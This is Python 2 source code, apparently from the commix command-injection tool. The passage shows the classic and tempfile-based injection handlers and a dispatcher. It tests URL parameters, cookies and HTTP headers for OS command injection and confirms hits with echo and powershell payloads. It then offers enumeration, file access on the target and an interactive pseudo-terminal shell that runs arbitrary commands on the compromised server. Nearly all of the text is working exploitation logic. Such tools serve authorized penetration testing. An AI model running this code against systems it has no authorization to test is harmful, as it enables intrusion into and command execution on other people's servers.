url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print settings.print_critical_msg(err_msg)
raise SystemExit()
else:
i = i + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive results.
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
randv1 = random.randrange(100)
randv2 = random.randrange(100)
randvcalc = randv1 + randv2
# Define alter shell
alter_shell = menu.options.alter_shell
try:
if alter_shell:
# Classic -alter shell- decision payload (check if host is vulnerable).
payload = cb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
else:
# Classic decision payload (check if host is vulnerable).
payload = cb_payloads.decision(separator, TAG, randv1, randv2)
# Define prefixes & suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(" ", whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
print settings.print_payload(payload)
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating a payload for injection..."
print settings.print_info_msg(info_msg)
print settings.print_payload(payload)
# Cookie header injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie header injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
response = cb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent HTTP header injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent HTTP header injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
response = cb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer HTTP header injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer HTTP header injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
response = cb_injector.referer_injection_test(url, vuln_parameter, payload)
# Host HTTP header injection
elif settings.HOST_INJECTION == True:
# Check if target host is vulnerable to host HTTP header injection.
vuln_parameter = parameters.specify_host_parameter(menu.options.host)
response = cb_injector.host_injection_test(url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
response = cb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = cb_injector.injection_test(payload, http_request_method, url)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate test results.
time.sleep(timesec)
shell = cb_injector.injection_test_results(response, TAG, randvcalc)
if not settings.VERBOSITY_LEVEL >= 1:
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
if shell == False:
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + float_percent + "%" + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
if float(float_percent) >= 99.9:
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent)+ "%"
elif len(shell) != 0:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = str(float_percent)+ "%"
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
raise
except SystemExit:
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print settings.print_error_msg(err_msg)
raise
except:
continue
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.HOST_INJECTION == True:
header_name = " Host"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
if not settings.VERBOSITY_LEVEL >= 1:
print ""
else:
checks.total_of_requests()
# Print the findings to terminal.
success_msg = "The"
if len(found_vuln_parameter) > 0 and not "cookie" in header_name :
success_msg += " " + http_request_method + ""
success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print settings.print_success_msg(success_msg)
print settings.SUB_CONTENT_SIGN + "Payload: " + str(checks.url_decode(payload)) + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACE[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
new_line = True
if settings.ENUMERATION_DONE == True :
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "y"
if enumerate_again in settings.CHOICE_YES:
cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
#print ""
break
elif enumerate_again in settings.CHOICE_NO:
new_line = False
break
elif enumerate_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.enumeration_options():
cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
if not menu.file_access_options() and not menu.options.os_cmd and new_line:
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
if settings.ENUMERATION_DONE != True:
print ""
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
sys.stdout.write(settings.print_question_msg(question_msg))
file_access_again = sys.stdin.readline().replace("\n","").lower()
else:
file_access_again = ""
if len(file_access_again) == 0:
file_access_again = "y"
if file_access_again in settings.CHOICE_YES:
cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
print ""
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + file_access_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.file_access_options():
# if not menu.enumeration_options():
# print ""
cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
print ""
# Check if defined single cmd.
if menu.options.os_cmd:
# if not menu.file_access_options():
# print ""
cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
sys.stdout.write(settings.print_question_msg(question_msg))
gotshell = sys.stdin.readline().replace("\n","").lower()
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "y"
if gotshell in settings.CHOICE_YES:
if not menu.options.batch:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
try:
if not readline_error:
# Tab compliter
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
# Command execution results.
time.sleep(timesec)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Try target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
try:
shell = cb_injector.injection_results(response, TAG, cmd)
shell = "".join(str(p) for p in shell)
except:
print ""
continue
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell:
html_parser = HTMLParser.HTMLParser()
shell = html_parser.unescape(shell)
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, shell)
if shell != "":
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
else:
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The '" + cmd + "' command, does not return any output."
print settings.print_critical_msg(err_msg) + "\n"
except KeyboardInterrupt:
raise
except SystemExit:
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print settings.print_error_msg(err_msg)
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
raise SystemExit()
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def do_check(url, filename):
check_http_headers = False
# Check if defined "--delay" option.
if menu.options.delay:
delay = menu.options.delay
else:
delay = settings.DELAY
# Check if authentication is needed.
if menu.options.auth_url and menu.options.auth_data:
# Do the authentication process.
authentication.authentication_process()
# Check if authentication page is the same with the next (injection) URL
if urllib2.urlopen(url).read() == urllib2.urlopen(menu.options.auth_url).read():
print Back.RED + settings.ERROR_SIGN + "It seems that the authentication procedure has failed." + Style.RESET_ALL
sys.exit(0)
elif menu.options.auth_url or menu.options.auth_data:
print Back.RED + settings.ERROR_SIGN + "You must specify both login panel URL and login parameters." + Style.RESET_ALL
sys.exit(0)
else:
pass
# Check if HTTP Method is GET.
if not menu.options.data:
# Enable Cookie Injection
if menu.options.cookie and menu.options.level > 1:
settings.COOKIE_INJECTION = True
http_request_method = "GET"
# Check for stored injections on User-agent / Referer headers (if level > 2).
if menu.options.level > 2 :
check_parameter = ""
stored_http_header_injection(url, check_parameter, check_http_headers, http_request_method, filename, delay)
# Enable Cookie Injection
if menu.options.cookie:
settings.COOKIE_INJECTION = True
if not settings.COOKIE_INJECTION:
found_url = parameters.do_GET_check(url)
if found_url != False:
for i in range(0, len(found_url)):
url = found_url[i]
check_parameter = parameters.vuln_GET_param(url)
# Check if testable parameter(s) are provided
if len(settings.TEST_PARAMETER) > 0:
if check_parameter in settings.TEST_PARAMETER:
# Check for session file
if check_for_stored_sessions(url, http_request_method):
injection_proccess(url, check_parameter, http_request_method, filename, delay)
else:
if check_for_stored_sessions(url, http_request_method):
injection_proccess(url, check_parameter, http_request_method, filename, delay)
if not settings.LOAD_SESSION :
for i in range(0, len(found_url)):
url = found_url[i]
check_parameter = parameters.vuln_GET_param(url)
# Check if testable parameter(s) are provided
if len(settings.TEST_PARAMETER) > 0:
if check_parameter in settings.TEST_PARAMETER:
injection_proccess(url, check_parameter, http_request_method, filename, delay)
else:
injection_proccess(url, check_parameter, http_request_method, filename, delay)
# Check if HTTP Method is POST.
else:
http_request_method = "POST"
# Check for stored injections on User-agent / Referer headers (if level > 2).
if menu.options.level > 2 :
check_parameter = ""
stored_http_header_injection(url, check_parameter, check_http_headers, http_request_method, filename, delay)
# Check if HTTP Method is POST.
parameter = menu.options.data
found_parameter = parameters.do_POST_check(parameter)
# Remove whitespaces
# Check if singe entry parameter
if type(found_parameter) is str:
found_parameter_list = []
found_parameter_list.append(found_parameter)
found_parameter = found_parameter_list
# Remove whitespaces
found_parameter = [x.replace(" ", "") for x in found_parameter]
# Check if multiple parameters
for i in range(0, len(found_parameter)):
parameter = menu.options.data = found_parameter[i]
check_parameter = parameters.vuln_POST_param(parameter, url)
if len(check_parameter) > 0:
settings.TESTABLE_PARAMETER = check_parameter
# Check if testable parameter(s) are provided
if len(settings.TEST_PARAMETER) > 0:
if check_parameter in settings.TEST_PARAMETER:
# Check for session file
if check_for_stored_sessions(url, http_request_method):
injection_proccess(url, check_parameter, http_request_method, filename, delay)
else:
if check_for_stored_sessions(url, http_request_method):
injection_proccess(url, check_parameter, http_request_method, filename, delay)
if not settings.LOAD_SESSION :
for i in range(0, len(found_parameter)):
parameter = menu.options.data = found_parameter[i]
check_parameter = parameters.vuln_POST_param(parameter, url)
# Check if testable parameter(s) are provided
if len(settings.TEST_PARAMETER) > 0:
if check_parameter in settings.TEST_PARAMETER:
injection_proccess(url, check_parameter, http_request_method, filename, delay)
else:
injection_proccess(url, check_parameter, http_request_method, filename, delay)
# Enable Cookie Injection
if menu.options.cookie and menu.options.level > 1:
settings.COOKIE_INJECTION = True
# Cookie Injection
if settings.COOKIE_INJECTION == True:
cookie_value = menu.options.cookie
# Check for stored injections on User-agent / Referer headers (if level > 2).
if menu.options.level > 2 :
check_parameter = ""
stored_http_header_injection(url, check_parameter, check_http_headers, http_request_method, filename, delay)
header_name = " Cookie"
settings.HTTP_HEADER = header_name[1:].lower()
cookie_parameters = parameters.do_cookie_check(menu.options.cookie)
if type(cookie_parameters) is str:
cookie_parameters_list = []
cookie_parameters_list.append(cookie_parameters)
cookie_parameters = cookie_parameters_list
# Remove whitespaces
cookie_parameters = [x.replace(" ", "") for x in cookie_parameters]
for i in range(0, len(cookie_parameters)):
menu.options.cookie = cookie_parameters[i]
check_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
if len(check_parameter) > 0:
settings.TESTABLE_PARAMETER = check_parameter
# Check if testable parameter(s) are provided
if len(settings.TEST_PARAMETER) > 0:
if check_parameter in settings.TEST_PARAMETER:
# Check for session file
if check_for_stored_sessions(url, http_request_method):
injection_proccess(url, check_parameter, http_request_method, filename, delay)
else:
if check_for_stored_sessions(url, http_request_method):
injection_proccess(url, check_parameter, http_request_method, filename, delay)
if not settings.LOAD_SESSION :
for i in range(0, len(cookie_parameters)):
menu.options.cookie = cookie_parameters[i]
check_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
if len(check_parameter) > 0:
settings.TESTABLE_PARAMETER = check_parameter
# Check if testable parameter(s) are provided
if len(settings.TEST_PARAMETER) > 0:
if check_parameter in settings.TEST_PARAMETER:
injection_proccess(url, check_parameter, http_request_method, filename, delay)
else:
injection_proccess(url, check_parameter, http_request_method, filename, delay)
if settings.COOKIE_INJECTION == True:
# Restore cookie value
menu.options.cookie = cookie_value
# Disable cookie injection
settings.COOKIE_INJECTION = False
# Custom header Injection
if settings.CUSTOM_HEADER_INJECTION == True:
check_parameter = header_name = " " + settings.CUSTOM_HEADER_NAME
settings.HTTP_HEADER = header_name[1:].lower()
check_for_stored_sessions(url, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, delay)
# Check for stored injections on User-agent / Referer headers (if level > 2).
if menu.options.level > 2 :
check_parameter = ""
check_http_headers = True
stored_http_header_injection(url, check_parameter, check_http_headers, http_request_method, filename, delay)
# All injection techniques seems to be failed!
if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False :
info_msg = settings.CRITICAL_SIGN + "All the tested (" + http_request_method + ") parameters appear to be not injectable."
if not menu.options.alter_shell :
info_msg += " Try to use the option '--alter-shell'"
else:
info_msg += " Try to remove the option '--alter-shell'"
if menu.options.level < 3 :
info_msg += " and/or try to increase '--level' values to perform more tests (i.e 'User-Agent', 'Referer', 'Cookie' etc)"
info_msg += "."
print Back.RED + info_msg + Style.RESET_ALL
sys.exit(0)
#eof
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method, url_time_response):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
possibly_vulnerable = False
false_positive_warning = False
how_long_statistic = []
export_injection_info = False
how_long = 0
injection_type = "semi-blind command injection"
technique = "tempfile-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
err_msg = "The '--url-reload' option is not available in " + technique + "!"
print settings.print_critical_msg(err_msg)
whitespace = checks.check_whitespaces()
if settings.VERBOSITY_LEVEL >= 1:
info_msg ="Testing the " + technique + "... "
print settings.print_info_msg(info_msg)
# Calculate all possible combinations
total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
if settings.LOAD_SESSION:
cmd = shell = ""
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - delay
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
else:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell :
payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
else:
payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
# Encode payload to Base64
if settings.TAMPER_SCRIPTS['base64encode']:
from src.core.tamper import base64encode
payload = base64encode.encode(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL >= 1:
payload_msg = payload.replace("\n", "\\n")
print settings.print_payload(payload_msg)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)
# Statistical analysis in time responses.
how_long_statistic.append(how_long)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
if percent == 100 and no_result == True:
if not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
# Time relative false positive fixation.
false_positive_fixation = False
if len(TAG) == output_length:
# Simple statical analysis
statistical_anomaly = True
if len(set(how_long_statistic[0:5])) == 1:
if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1:
statistical_anomaly = False
how_long_statistic = []
if delay <= how_long and not statistical_anomaly:
false_positive_fixation = True
else:
false_positive_warning = True
# Identified false positive warning message.
if false_positive_warning:
warn_msg = "Unexpected time delays have been identified due to unstable "
warn_msg += "requests. This behavior may lead to false-positive results.\n"
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
while True:
question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
sys.stdout.write(settings.print_question_msg(question_msg))
proceed_option = sys.stdin.readline().replace("\n","").lower()
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "s":
false_positive_fixation = False
raise
elif proceed_option.lower() == "c":
delay = delay + 1
false_positive_fixation = True
break
elif proceed_option.lower() == "q":
raise SystemExit()
else:
if proceed_option == "":
proceed_option = "enter"
err_msg = "'" + proceed_option + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
# Check if false positive fixation is True.
if false_positive_fixation:
false_positive_fixation = False
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - delay
if false_positive_warning:
time.sleep(1)
randv1 = random.randrange(0, 1)
randv2 = random.randrange(1, 2)
randvcalc = randv1 + randv2
if settings.TARGET_OS == "win":
if alter_shell:
cmd = settings.WIN_PYTHON_DIR + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
else:
cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")"
else:
cmd = "echo $((" + str(randv1) + " + " + str(randv2) + "))"
# Check for false positive resutls
how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response)
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
if str(output) == str(randvcalc) and len(TAG) == output_length:
possibly_vulnerable = True
how_long_statistic = 0
if not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
#break
else:
break
# False positive
else:
if not settings.VERBOSITY_LEVEL >= 1:
percent = str(float_percent)+ "%"
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
else:
if not settings.VERBOSITY_LEVEL >= 1:
percent = str(float_percent)+ "%"
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
if not settings.VERBOSITY_LEVEL >= 1:
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
if 'cmd' in locals():
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except:
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
if str(float_percent) == "100.0":
if no_result == True:
if not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
else:
percent = ""
else:
percent = str(float_percent) + "%"
print ""
# Print logs notification message
logs.logs_notification(filename)
#raise
else:
percent = str(float_percent) + "%"
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
if (len(TAG) == output_length) and \
(possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level):
found = True
no_result = False
if settings.LOAD_SESSION:
possibly_vulnerable = False
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
print ""
# Print the findings to terminal.
success_msg = "The"
if found_vuln_parameter == " ":
success_msg += http_request_method + ""
success_msg += the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print settings.print_success_msg(success_msg)
print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
shell = ""
session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable=menu.options.level)
#possibly_vulnerable = False
else:
settings.LOAD_SESSION = False
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if settings.TARGET_OS == "win":
time.sleep(1)
new_line = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True :
while True:
question_msg = "Do you want to enumerate again? [Y/n/q] > "
enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
if enumerate_again in settings.CHOICE_YES:
tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
print ""
break
elif enumerate_again in settings.CHOICE_NO:
new_line = True
break
elif enumerate_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.enumeration_options():
tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
print ""
while True:
question_msg = "Do you want to access files again? [Y/n/q] > "
sys.stdout.write(settings.print_question_msg(question_msg))
file_access_again = sys.stdin.readline().replace("\n","").lower()
